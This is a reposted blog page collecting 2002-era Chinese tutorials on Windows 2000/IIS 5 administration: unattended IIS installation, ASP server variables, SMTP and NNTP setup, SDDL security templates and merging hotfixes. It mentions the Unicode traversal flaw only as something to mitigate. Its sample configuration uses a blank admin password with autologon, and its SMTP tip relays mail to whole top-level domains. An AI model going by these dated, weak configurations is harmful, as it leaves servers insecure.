iis_htmla = on Web方式的IIS管理器
[InternetServer]
Path="D:\inetsrv" Common文件放置位置(如果你是卸载了IIS再手动装,公用文件还是会位置保持不变)
PathFTPRoot="D:\inetPub\FTPRoot" FTP的根路径
PathWWWRoot="D:\InetPub\wwwroot" WWW的根路径
将该文件存盘后,运行“sysocmgr /i:%windir%\inf\sysoc.inf /u:d:\iis5install.txt”,
不会有提示框出现,系统将自动的为你安装好IIS,而且Scripts目录将会在D盘,使用“Unicode解码目录遍历漏洞”也就失效了。
如果你需要安装更多的IIS组件,以下是一个比较详细的无人值守安装文件:
=========================================BEGIN============================
;This is an example Unattended installation file
;IIS, MTS, and Index Server are ON
;Target Path should be new directory
;Adminpassword is blank.
[Unattended]
Unattendmode = FullUnattended
OemPreinstall = NO
TargetPath = *
Filesystem = LeaveAlone
[UserData]
FullName = "Your User Name"
OrgName = "Your Organization Name"
ComputerName = "ComputerName"
[GuiUnattended]
TimeZone = "004"
AdminPassword = *
AutoLogon = Yes
[LicenseFilePrintData]
AutoMode = "PerServer"
AutoUsers = "0"
[Display]
BitsPerPel = 4
XResolution = 800
YResolution = 600
VRefresh = 70
[Networking]
InstallDefaultComponents = YES
[Identification]
JoinWorkgroup = Workgroup
;Turns NT Components (and their respective sections) ON or OFF
[Components]
iis_common = on
iis_inetmgr = on
iis_www = on
iis_ftp = on
iis_htmla = on
iis_doc = on
iis_pwmgr = on
iis_smtp = on
iis_smtp_docs = on
mts_core = on
msmq = off
terminalservices = off
reminst = off
certsrv = off
rstorage = off
indexsrv_system = on
certsrv_client = off
certsrv_server = off
certsrv_doc = off
[InternetServer]
;Without these keys specified IIS will use the default settings
; Note that the Path is location for INETSRV, the core IIS programs and files.
Path=D:\Securelocation
PathFTPRoot=E:\Inetpub\Ftproot PathWWWRoot=E:\Inetpub\Wwwroot
IE5 所支持的所有server端变量
Author: MSDN
Date: 2002-1-13 18:35:01
以下是MSDN (1999年4月版)提供的 IE5 所支持的所有server端变量
部分变量在以前的版本中不支持,而且在以后的版本中可能会有变化
Variable Description
ALL_HTTP All HTTP headers sent by the client.
ALL_RAW Retrieves all headers in the raw-form. The
difference between ALL_RAW and ALL_HTTP is
that ALL_HTTP places an HTTP_ prefix before
the header name and the header-name is always
capitalized. In ALL_RAW the header name and
values appear as they are sent by the client.
APPL_MD_PATH Retrieves the metabase path for the (WAM)
Application for the ISAPI DLL.
APPL_PHYSICAL_PATH Retrieves the physical path corresponding to
the metabase path. IIS converts the APPL_MD_PATH
to the physical (directory) path to return
this value.
AUTH_PASSWORD The value entered in the client's authentication
dialog. This variable is only available if Basic
authentication is used.
AUTH_TYPE The authentication method that the server uses to
validate users when they attempt to access a
protected script.
AUTH_USER Raw authenticated user name.
CERT_COOKIE Unique ID for client certificate, Returned as a
string. Can be used as a signature for the whole
client certificate.
CERT_FLAGS bit0 is set to 1 if the client certificate is
present.
bit1 is set to 1 if the Certificate Authority of
the client certificate is invalid (not in the
list of recognized CA on the server).
CERT_ISSUER Issuer field of the client certificate (O=MS,
OU=IAS, CN=user name, C=USA).
CERT_KEYSIZE Number of bits in Secure Sockets Layer connection
key size. For example, 128.
CERT_SECRETKEYSIZE Number of bits in server certificate private key.
For example, e.g. 1024.
CERT_SERIALNUMBER Serial number field of the client certificate.
CERT_SERVER_ISSUER Issuer field of the server certificate.
CERT_SERVER_SUBJECT Subject field of the server certificate.
CERT_SUBJECT Subject field of the client certificate.
CONTENT_LENGTH The length of the content as given by the client.
CONTENT_TYPE The data type of the content. Used with queries
that have attached information, such as the HTTP
queries GET, POST, and PUT.
GATEWAY_INTERFACE The revision of the CGI specification used by the
server. The format is CGI/revision.
HTTP_<HeaderName> The value stored in the header HeaderName. Any
header other than those listed in this table must
be prefixed by HTTP_ in order for the
ServerVariables collection to retrieve its value.
Note The server interprets any underscore (_)
characters in HeaderName as dashes in the
actual header. For example if you specify
HTTP_MY_HEADER, the server searches for a
header sent as MY-HEADER.
HTTP_ACCEPT Returns the value of the Accept header.
HTTP_ACCEPT_LANGUAGE Returns a string describing the language to use
for displaying content.
HTTP_USER_AGENT Returns a string describing the browser that sent
the request.
HTTP_COOKIE Returns the cookie string that was included with
the request.
HTTP_REFERER Returns a string containing the URL of the
original request when a redirect has occurred.
HTTPS Returns ON if the request came in through secure
channel (SSL) or it returns OFF if the request is
for a non-secure channel.
HTTPS_KEYSIZE Number of bits in Secure Sockets Layer connection
key size. For example, 128.
HTTPS_SECRETKEYSIZE Number of bits in server certificate private key.
For example, 1024.
HTTPS_SERVER_ISSUER Issuer field of the server certificate.
HTTPS_SERVER_SUBJECT Subject field of the server certificate.
INSTANCE_ID The ID for the IIS instance in textual format. If
the instance ID is 1, it appears as a string. You
can use this variable to retrieve the ID of the
Web-server instance (in the metabase) to which the
request belongs.
INSTANCE_META_PATH The metabase path for the instance of IIS that
responds to the request.
LOCAL_ADDR Returns the Server Address on which the request
came in. This is important on multihomed machines
where there can be multiple IP addresses bound to
a machine and you want to find out which address
the request used.
LOGON_USER The Windows NT® account that the user is logged
into.
PATH_INFO Extra path information as given by the client. You
can access scripts by using their virtual path and
the PATH_INFO server variable. If this information
comes from a URL, it is decoded by the server before
it is passed to the CGI script.
PATH_TRANSLATED A translated version of PATH_INFO that takes the
path and performs any necessary virtual-to-physical
mapping.
QUERY_STRING Query information stored in the string following the
question mark (?) in the HTTP request.
REMOTE_ADDR The IP address of the remote host making the request.
REMOTE_HOST The name of the host making the request. If the
server does not have this information, it will set
REMOTE_ADDR and leave this empty.
REMOTE_USER Unmapped user-name string sent in by the User. This
is the name that is really sent by the user as opposed
to the ones that are modified by any authentication
filter installed on the server.
REQUEST_METHOD The method used to make the request. For HTTP, this
is GET, HEAD, POST, and so on.
SCRIPT_NAME A virtual path to the script being executed. This is
used for self-referencing URLs.
SERVER_NAME The server's host name, DNS alias, or IP address as
it would appear in self-referencing URLs.
SERVER_PORT The port number to which the request was sent.
SERVER_PORT_SECURE A string that contains either 0 or 1. If the request
is being handled on the secure port, then this will be
1. Otherwise, it will be 0.
SERVER_PROTOCOL The name and revision of the request information
protocol. The format is protocol/revision.
SERVER_SOFTWARE The name and version of the server software that
answers the request and runs the gateway. The format
is name/version.
URL Gives the base portion of the URL.
如何把IIS 5.0自带的SMTP Service作为你公司的SMTP服务器
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:35:01
今天刚好看到有网友问到了这样的问题,就做了一个小小的实验,其实设置起来很简单的。
进入IIS管理器->默认SMTP虚拟服务器->域
1、右击“域”->新建 域->选择远程,下一步->名称中填写 *.com->完成
2、右击 *.com -> 属性 ->常规->选择允许将待收邮件中继到此域->确定
重复Step 1和Step 2,把com改成net,改成org,改成cn,改成tw……
你就可以把你想要发送的邮件发送到你想要的域里去了,当然,这是一个很笨的方法
不过很管用!
Try it now!
IIS 5.0自带NNTP Server权限控制全攻略
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:35:00
在IIS 5.0中自带了一个NNTP Server,设置简单,也能够满足大家的需要,我们公司也是使用的这个破破的玩艺,但由于无法设置太多的访问控制,很多不愿意公开的讨论组也无法藏而不露,不过要知道,因为有了2000,因为有了NTFS,一切都变得太简单了……
测试环境:
Windows 2000 Server,运行NNTP Service
创建一个讨论组 adam.test
建好讨论组后,在\Inetpub\nntpfile\root下就会生成 adam\test 目录,而我们只要设置好这两个目录的 NTFS 权限后就可以很好的控制每一个讨论组了,不过首先你需要作以下的操作:
Internet 服务管理器 -> 默认NNTP虚拟服务器 -> 属性 -> 访问 -> 取消"允许匿名"
然后创建一个组 adam ,把相应的用户放进这个组里面
设置 adam\test 目录的权限为 System(F)和adam(F),这样其他用户就无法访问该讨论组了,而 adam 组可以照常发贴子看贴子。
不过在你的客户端必须设置才可以哦,嘿嘿
以Outlook Express为例:
创建一个新闻组帐号,查看其属性->服务器->此服务器需要登陆->输入用户名和口令
All is OK……
尾注:
虽然这个玩艺设置简单,但是管理却是大大的不方便,所以我在这里强烈推荐一个新闻组服务器软件,Dnews,现在版本好像是5.4f3,带 Web 界面,有管理端口,还可以直接 Telnet 管理,实在是Cool得不得了……至于下载的地方嘛,http://netwinsite.com/ :)
怎样编写安全模板(权限设置DIY之SDDL简介)
Author: joyadam@myrealbox.com
Date: 2002-4-10 0:16:52
Windows 2000 提供了使用“安全模板”管理单元方式定义安全性的集中式方法。对于一个网络管理员而言,安装系统并进行安全配置不再是一项繁琐的工作了,现在需要做的事情只有维护一个安全模板文件即可,然后在系统重新安装后和安全模板更新后应用该模板即可。
一个安全模板文件分为很多字段,系统也自带了许多模板文件在%systemroot%\security\templates目录,大家可以看看 inf 文件的格式,inf 文件功能强大,一般来说,可以对系统的以下安全策略进行设置:
◆帐户策略:密码、帐户锁定和 Kerberos 策略的安全性
◆本地策略:用户权利和记录安全事件。
◆受限的组:本地组成员的管理
◆注册表:本地注册表项的安全性
◆文件系统:本地文件系统的安全性
◆系统服务:本地服务的安全性和启动模式
我们今天讨论的主要是如何对系统的一些对象进行权限设置的方法,包括注册表的权限、文件和目录的权限、服务的权限...(其他的东西通过图形模式搞定)这里就要涉及到了SDDL(Security Descriptor Definition Language),那么SDDL究竟是啥样子的呢?我们看一看下面的Sample,
例:
"%systemroot%\system32\cmd.exe",0,"D:AR(D;OICI;FA;;;BG)"
这一行应该出现在inf文件里的File Security里,它的作用是禁止Guests组用户对cmd.exe文件进行访问,一些常见的漏洞(如Unicode)使用IUSR_Machinename或IWAM_Machinename用户通过异常的方式对该文件进行访问,执行非法的程序,而这2个用户都是属于Guests组的,所以大家应该知道这个例子的意义了吧,接着来分析这一行,这一行被2个逗号分成3部分,下面对这3段进行讲解:
第一段:
文件名或者目录名(显而易见)
第二段:
这里可以选择的值有3个
0,配置该文件或目录,然后向它的子目录和该目录下文件将设置的权限进行传递;
1,不替代该文件已有的权限,相当于cacls /e(如果不知道cacls为何物,可以执行cacls /?看看,或者继续偶的字数不够帮助凑)
2,配置该文件或目录,然后替换所有带继承权限的子目录和文件的权限
第三段:
这就是全文的重点--SDDL
首先我们看看这 D:AR(D;OICI;FA;;;BG) 中的第一个字段,这里填充的是D,
我们可以选择的有:
(O:) owner, (G:)primary group, (D:)DACL , (S:)SACL .也就是说我们可以通过inf文件设置对象的Owner,Primary Group,DACL和SACL,一般最常见的也就是上面提到的D,设置文件的访问控制列表。
再看看第二个字段,上面填写的是AR,这个字段只有当你设置ACL时才会出现
设置DACL时,我们可以选择的有:
"P"--SE_DACL_PROTECTED flag, Protects the DACL of the security descriptor from being modified by inheritable ACEs.
"AR"--SE_DACL_AUTO_INHERIT_REQ flag, Requests that the provider for the object protected by the security descriptor automatically propagate the DACL to existing child objects. If the provider supports automatic inheritance, it propagates the DACL to any existing child objects, and sets the SE_DACL_AUTO_INHERITED bit in the security descriptors of the object and its child objects.
"AI"--SE_DACL_AUTO_INHERITED flag, Indicates a security descriptor in which the DACL is set up to support automatic propagation of inheritable ACEs to existing child objects. This bit is set only if the automatic inheritance algorithm has been performed for the object and its existing child objects.
This bit is not set in security descriptors for Windows NT versions 4.0 and earlier, which did not support automatic propagation of inheritable ACEs.
设置SACL时,我们可以选择的有:
"P"--SE_SACL_PROTECTED flag, Protects the SACL of the security descriptor from being modified by inheritable ACEs.
"AR"--SE_DACL_AUTO_INHERIT_REQ flag, Requests that the provider for the object protected by the security descriptor automatically propagate the SACL to existing child objects. If the provider supports automatic inheritance, it propagates the SACL to any existing child objects, and sets the SE_SACL_AUTO_INHERITED bit in the security descriptors of the object and its child objects.
"AI"--SE_DACL_AUTO_INHERITED flag, Indicates a security descriptor in which the SACL is set up to support automatic propagation of inheritable ACEs to existing child objects. This bit is set only if the automatic inheritance algorithm has been performed for the object and its existing child objects.
This bit is not set in security descriptors for Microsoft Windows NT versions 4.0 and earlier, which did not support automatic propagation of inheritable ACEs.
注:原谅我不翻译上面的文字,因为这些东西真的无法用中文表示,很多东西没有一个权威的翻译,我也不想被人家笑话。
OK,我们最后看看最复杂的第三段 D;OICI;FA;;;BG ,被5个分号分成6个小节
第一节:ACE类型,我们这里使用的是 D,可以选择的有
"A" ACCESS_ALLOWED
"D" ACCESS_DENIED
"OA" OBJECT ACCESS ALLOWED
"OD" OBJECT ACCESS DENIED
"AU" AUDIT
"AL" ALARM
"OU" OBJECT AUDIT
"OL" OBJECT ALARM
第二节:ACE标志,我们这里的值是OICI,可以选择的有
"CI" CONTAINER INHERIT
"OI" OBJECT INHERIT
"NP" NO PROPAGATE
"IO" INHERIT ONLY
"ID" INHERITED
"SA" AUDIT SUCCESS
"FA" AUDIT FAILURE
第三节:权限类型,我们这里的值是FA,可以选择的有
对于目录而言:
"RP" READ
"WP" WRITE
"CC" CREATE CHILD
"DC" DELETE CHILD
"LC" LIST CHILDREN
"SW" SELF WRITE
"LO" LIST OBJECT
"DT" DELETE TREE
"CR" CONTROL ACCESS
对于文件而言:
"FA" ALL
"FR" READ
"FW" WRITE
"FX" EXECUTE
对于注册表权限而言:
"KA" ALL
"KR" READ
"KW" WRITE
"KX" EXECUTE
注:注册表和文件、目录一样,也可以inf文件里设置权限,格式和文件一致,只是把文件名换成键名即可,如machine\software\NSFOCUS\Adam
第四节和第五节都为空,它们分别表示的是Object GUID和inherit object guid,我见过的大多数inf文件这2个字段都为空,我们做inf文件的时候也空就好了 :)
第六节:这里表示的是用户或组,一般而言我们设置的时候都是系统自带的用户或组,如果你非要为自己建的用户设置这些玩艺,那你就用用户或组的SID表示好了,而系统自带的用户或组,我们的表示方法如下:
"AO" Account operators
"RU" Alias to allow previous Windows 2000
"AN" Anonymous logon
"AU" Authenticated users
"BA" Built-in administrators
"BG" Built-in guests
"BO" Backup operators
"BU" Built-in users
"CA" Certificate server administrators
"CG" Creator group
"CO" Creator owner
"DA" Domain administrators
"DC" Domain computers
"DD" Domain controllers
"DG" Domain guests
"DU" Domain users
"EA" Enterprise administrators
"ED" Enterprise domain controllers
"WD" Everyone
"PA" Group Policy administrators
"IU" Interactively logged-on user
"LA" Local administrator
"LG" Local guest
"LS" Local service account
"SY" Local system
"NU" Network logon user
"NO" Network configuration operators
"NS" Network service account
"PO" Printer operators
"PS" Personal self
"PU" Power users
"RS" RAS servers group
"RD" Terminal server users
"RE" Replicator
"RC" Restricted code
"SA" Schema administrators
"SO" Server operators
"SU" Service logon user
在这个列表里面我们可以很轻松地找到我们所用的BG用户代表的Guests组
如果我们为某个文件或文件夹对象设置多个ACE,
本地Administrators:Full Control
本地Guests:Read
那我们可以写"D:AR(A;OICI;FA;;;LA)(A;OICI;FR;;;BG)"
OK,SDDL的大致介绍就写这么多吧,这些东西光看用处是不大的,还需要自己多加测试,欢迎各位看官不吝指正...
参考文献:
MSDN Libary
如何制作自己的Service Pack
Author: joyadam@myrealbox.com
Date: 2002-1-13 18:34:46
作为一个Windows 系统的管理员,安装安全HotFix应该是不会陌生的,每次我们在装完一台机器后总是下载无数补丁,但烦人的是每每安装一个HotFix系统都会Reboot一次,当然,在Reboot前我们不点击"确定"按钮,直接安装完其他的补丁后一次Reboot也未尝不可,但是这样似乎显得有点不大专业,今天我教大家作一个自己的Service Pack,可以把你需要安装的补丁在一次安装完毕,好像很Cool哦~
为了测试,我选择了一台中文版Windows 2000 Server,而我们需要安装的安全补丁为2个(当然不止这些,打个比方而已),一个是Windows 2000的输入法漏洞的补丁(Q270676),一个是命名管道的补丁(Q269523)。
Now, Let's go~
2、我们切换到CMD模式,在C盘创建一个hotfix的目录,然后执行
Q269523_W2K_SP2_x86_CN.EXE /x(建议解包的顺序按Q号的大小排列,由小到大,理由我会在后面提到)
看到要求输入解包路径的提示后输入"C:\Hotfix"。
C:\>cd hotfix
C:\hotfix>dir
驱动器 C 中的卷是 C
卷的序列号是 AC58-F7F5
C:\hotfix 的目录
2001-05-04 04:00 <DIR> .
2001-05-04 04:00 <DIR> ..
2000-08-14 18:57 98,064 hotfix.exe
2000-08-14 18:57 15,139 hotfix.inf
2000-08-14 17:19 835,856 kernel32.dll
2000-08-14 17:19 85,776 services.exe
2000-08-14 18:31 88,245 sp2.cat
2000-08-14 18:57 3,584 spmsg.dll
2001-05-04 04:00 <DIR> symbols
2001-05-04 04:00 <DIR> uniproc
然后我们将hotfix.inf文件复制一份。
C:\hotfix>copy hotfix.inf q269523_cn.inf
已复制 1 个文件。
紧接着我们将第二个HotFix解包,
Q270676_W2K_SP2_x86_CN.EXE /x
看到要求输入解包路径的提示后输入"C:\Hotfix"。
也将此时的hotfix.inf文件复制一份。
C:\hotfix>copy hotfix.inf q270676_cn.inf
已复制 1 个文件。
第三个、第四个........重复同样的操作。
3、此时我们已经将HotFix的文件都解包至C:\Hotfix目录,并且有了各个HotFix的inf文件的拷贝,我们现在来分析这些inf文件,一般我们把最后解包的inf文件作为模板,因为inf文件分很多字段,从我观察的结果来看,随着时间的推移,inf文件的字段可能会增加,这也就是我们开始解包按Q大小顺序的原因,本例中我们以Q270676的inf文件为模板,我们编辑hotfix.inf文件,这个文件已经包含了Q270676的信息,我们只要把Q269523中的信息添加到该文件中即可,下面我们来分析Q269523的inf文件的内容:
前面的大部分基本都是相似的,我们只搜寻一些与众不同的字段。
[MustReplace.System32.files]
SERVICES.EXE
[CopyAlways.DriverCab.files]
kernel32.dll
[Cache.files]
SERVICES.EXE
KERNEL32.DLL
[Uniprocessor.Kernel.files]
KERNEL32.DLL,UNIPROC\KERNEL32.DLL
[Multiprocessor.Kernel.files]
KERNEL32.DLL
[SourceDisksFiles]
SERVICES.EXE=1
UNIPROC\KERNEL32.DLL
KERNEL32.DLL=1
然后我们在hotfix.inf文件中搜寻MustReplace.System32.files,然后加入一行
SERVICES.EXE
为了以后方便,我们一般加上一些注释,编辑后的hotfix.inf文件的MustReplace.System32.files字段就成了下面这个样子:
[MustReplace.System32.files]
;Q269523 Added by Adam
SERVICES.EXE
接着搜寻CopyAlways.DriverCab.files、Cache.files、Uniprocessor.Kernel.files、Multiprocessor.Kernel.files、SourceDisksFiles,并将相应的信息添加到hotfix.inf文件中,也要注意添加必要的注释文件,inf文件中表示注释的符号为分号。当然,我们也建议您把本身的模板文件中必要的项也作一下注释,如2个hotfix都包含的Cache.files,我们修改后就成了:
[Cache.files]
;Q269523 Added by Adam
SERVICES.EXE
KERNEL32.DLL
;Q270676 Added by Adam
winzm.ime
winsp.ime
winpy.ime
wingb.ime
winabc.ime
实际上,到这一步,我们就已经可以用我们作好的东东了,但是为了以后的方便,我们必须修改一些显示信息,这就是inf文件中的Strings字段。我们到inf文件的最末尾可以看到Strings字段,我们必须在这里修改一些必要的信息。
首先修改Q号(不是OICQ号码哦),将Q号改成你喜欢的6位数,当然,输入其他字符也可以,但是也许会和某些查HotFix的软件有冲突,还是用6位数字好了,然后修改Comments,我们把Q269523的Comment粘贴过来,也可以加上一些自己的描述,修改后的Strings字段就成了下面的样子:
[Strings]
LangTypeValue=4
ServicePackSourceFiles="Windows 2000 Hotfix 源文件"
HOTFIX_NUMBER="Q123456"
SERVICE_PACK_NUMBER=1
COMMENT="Windows 2000 Hotfix (Pre-SP2) [See Q270676 for more information] This Fix Corrects the IME Problem...Windows 2000 Hotfix (Pre-SP2) [See Q269523 for more information] This Fix Corrects the NamePipe Problem..."
这样也方便我们日后对已安装的补丁进行查看。
4、好了,该修改的地方我们已经弄完了,我们开始安装我们自己作的Service Pack吧,其实我们只要执行HotFix.exe即可,它会自己去找inf文件,然后你会看到一个拷贝文件的进度条,接着是系统要求你Reboot,点"确定",重启,我们的HotFix就安装完毕了。
5、最后我们可以看看效果,你可以去看看注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\HotFix
你会发现你安装的Q123456乖乖地呆在那里了~很有成就感哦~
最后总结一下:每每出一个新的HotFix后,你就将文件添加到你的SP包中,然后修改你的inf文件,你就可以不去理会微软是不是还为你发布新的SP了(NT 4的SP 7没有了),当然,SP中不光包含安全补丁,对系统的其他方面也有所改善,土八路毕竟还是比不上正规军的。
分类: 安装部署
绿色通道: 好文要顶 关注我 收藏该文与我联系
freeliver54
关注 - 1
粉丝 - 149 +加关注 0 0 (请您对文章做出评价) ? 博主上一篇:[转]Writing Installs With The Windows Installer Is A Pain!
? 博主下一篇:微软的软件授权及保护服务(SLPS)
posted on 2008-05-27 16:56 freeliver54 阅读(3281) 评论(1) 编辑 收藏
评论
#1楼12109692008/5/27 20:46:10 2008-05-27 20:46 乌生鱼汤
滔滔江水
支持(0)反对(0)
刷新评论刷新页面返回顶部
注册用户登录后才能发表评论,请 登录 或 注册,访问网站首页。
博客园首页博问新闻闪存程序员招聘知识库
最新IT新闻:
· 移动应用被苹果拒之门外的9个意外原因
· Twitter为其Promoted Trend广告提价,现在20万美元一天
· 阴柔第三者:神话与民俗中的蛇
· LinkedIn韦纳新年5大心愿:拓展全球市场居首
· 尽管被质疑 我们还是该感谢12306!
? 更多新闻...
最新知识库文章:
· 对象的消息模型
· 16条技巧让你更高效使用SSH
· HTML5之美
· 每天工作的第一个小时,做什么?
· Hadoop 分布式文件系统:架构和设计
? 更多知识库文章...
Powered by:
博客园
Copyright ? freeliver54
导航
博客园
首页
新随笔
联系
订阅
管理
统计
随笔 - 1272
文章 - 3
评论 - 1710
引用 - 157
公告
生有涯 力有限
要事第一 事不过三
扬长用强 舍得取舍
确立生活价值
分段人生历程
目标 计划 去行动...
每一天都有新的开始
每一天都是新的开始
愿我们
善始善终 持之以恒
不管前方 是希望还是迷茫
我们都只有一个信念
让我们的爱 伴我们终生
健康 平安 简单 惜福
昵称:freeliver54
园龄:7年
粉丝:149
关注:1
+加关注
搜索
随笔分类
Ajax.Net(12)
Android-app(183)
Android-SourceCode(3)
Android-web(3)
Ant/NAnt(9)
apple(1)
asp.net mvc(2)
C++/VC++(18)
Cloud Computing(4)
Eclipse RCP(9)
English(15)
Flash / Flex & PhotoShop(21)
HTML5/CSS(27)
HTTP网络通信(13)
Java(49)
Java Web(11)
JavaScript/Jquery(73)
LAMP/WAMP(6)
LINQ(3)
Linux(6)
MS SQL(59)
MySQL(46)
Oracle(6)
PHP(5)
Python(1)
SQLite(8)
UML(4)
Visual Basic/ASP(9)
VS2008(13)
VS2010(12)
VS技術實踐(394)
wap wml(3)
WCF(7)
Web(5)
WebGL(2)
windows mobile(13)
Windows Server(24)
WinForm 开发(72)
WPF(1)
XML(11)
安全与加密(23)
安装部署(48)
报表/曲线(21)
测试(25)
大工 工商管理(4)
二维码/条形码(11)
技有所用(6)
开源软件(14)
励志(32)
每日文摘(139)
其他(12)
企业管理|职业经理人(7)
软件架构 设计模式(7)
软件项目工程(43)
软件项目管理(26)
软考&英语考试(16)
生活|理财(19)
手机维修(1)
数据结构与算法(3)
图书目录(52)
网址(62)
心灵之旅(113)
硬件网络(21)
游戏开发(17)
随笔档案
2013年1月 (15)
2012年12月 (19)
2012年11月 (19)
2012年10月 (16)
2012年9月 (24)
2012年8月 (21)
2012年7月 (15)
2012年6月 (44)
2012年5月 (19)
2012年4月 (2)
2012年3月 (17)
2012年2月 (20)
2012年1月 (15)
2011年12月 (25)
2011年11月 (15)
2011年10月 (16)
2011年9月 (39)
2011年8月 (36)
2011年7月 (14)
2011年6月 (11)
2011年5月 (32)
2011年4月 (12)
2011年3月 (12)
2011年2月 (16)
2011年1月 (10)
2010年12月 (11)
2010年11月 (7)
2010年10月 (18)
2010年9月 (11)
2010年8月 (1)
2010年7月 (6)
2010年6月 (4)
2010年5月 (1)
2010年4月 (3)
2010年3月 (6)
2010年2月 (3)
2010年1月 (5)
2009年12月 (10)
2009年11月 (4)
2009年10月 (8)
2009年9月 (5)
2009年8月 (9)
2009年7月 (8)
2009年6月 (4)
2009年5月 (6)
2009年4月 (4)
2009年3月 (12)
2009年2月 (24)
2009年1月 (10)
2008年12月 (14)
2008年11月 (18)
2008年10月 (23)
2008年9月 (22)
2008年8月 (9)
2008年7月 (30)
2008年6月 (17)
2008年5月 (11)
2008年4月 (45)
2008年3月 (28)
2008年2月 (11)
2008年1月 (17)
2007年12月 (15)
2007年11月 (20)
2007年10月 (22)
2007年9月 (36)
2007年8月 (23)
2007年7月 (24)
2007年6月 (6)
2007年5月 (7)
2007年4月 (32)
2007年3月 (46)
2007年2月 (22)
2007年1月 (31)
2006年12月 (45)
2006年11月 (8)
2006年7月 (1)
2006年6月 (3)
2006年5月 (1)
2006年4月 (13)
2006年2月 (8)
techLINKS
Ajax.net
ASP.NET 快速入门教程
MSDN
UML
winforms
XSLT
窗体 快速入门教程
移动开发人员中心
友情链接
积分与排名
积分 - 941044
排名 - 43
最新评论
1. Re:WPF 视频教程
http://archive.msdn.microsoft.com/wpfsamples
--freeliver54
2. Re:设计模式 相关学习网址
分享一下我记忆23种设计模式的方法 http://www.cnblogs.com/liningx/archive/2008/02/19/1073117.html来CNBLOGS好久了,也没写过点什么,最近在学习23种设计模式,既然是要学习这些模式,首先得记住吧,呵呵,下面我总结我一下我的记忆方法,希望给大家分享。 首先列出23种设计模式 1 Singleton 单件 2 A...
--freeliver54
3. Re:[转]Ubuntu下基于Eclipse的Android开发环境的方法
Android自学笔记(番外篇):全面搭建Linux环境(三)——Ubuntu10.04(LTS)的安装与配置 http://chirs1012f.iteye.com/blog/968118
--freeliver54
4. Re:[转]虚拟机下Ubuntu共享主机文件(Ubuntu、VMware、共享)
http://hi.baidu.com/chenyangxin/item/af0f67e35dc67af12b09a443
Ubuntu10.10下Samba服务器的搭建
--freeliver54
5. Re:[转]虚拟机下Ubuntu共享主机文件(Ubuntu、VMware、共享)
Ubuntu下配置samba实现文件夹共享 http://www.cnblogs.com/phinecos/archive/2009/06/06/1497717.html一. samba的安装:sudo apt-get insall sambasudo apt-get install smbfs二. 创建共享目录:mkdir /home/phinecos/sharesodu chmod 777 /...
--freeliver54
阅读排行榜
1. 遭遇“windows已经阻止此软件因为无法验证发行者”(40046)
2. SQL 2005 Express 的“企业管理器” 下载(27704)
3. 程序员的人生 该将如何规划?(27405)
4. VS2005中GridView簡單應用(24529)
5. [转]C#中的IntPtr类型(24401)
6. [转]mysql的top n查询(18710)
7. 下载Eclipse的SWT插件(15410)
8. [转]Android读写文件(14653)
9. C# WinForm 父窗体 子窗体 传值(12656)
10. c# winForm TableLayoutPanel学习 合并行的布局及动态增加删除内部控件(12328)
评论排行榜
1. 程序员的人生 该将如何规划?(169)
2. VS2005中GridView簡單應用(28)
3. C# 利用WinRAR (加密)压缩及解压缩 相关文件夹及文件(22)
4. sql server作业用法(15)
5. [引]VS2005帮助文档 : 加密 概述(15)
推荐排行榜
1. C# WinForm 父窗体 子窗体 传值(7)
2. 软件开发管理之:编码负责人及标准代码库机制(5)
3. [转]Android蓝牙开发浅谈(4)
4. c# winform 打印 窗体 及 窗体控件内容 的 初级尝试(3)
5. [转]C# Socket编程笔记(3)
6. [转]C#中ToString格式大全(2)
7. [转]C#中的IntPtr类型(2)
8. [引]C# WinForm DirectShow视频采集及图片抓取实例DxSnap(2)
9. [转]用C# 实现C/S模式下软件自动在线升级(2)
10. 入门者初试 Cell(华表)结合C#的应用(2)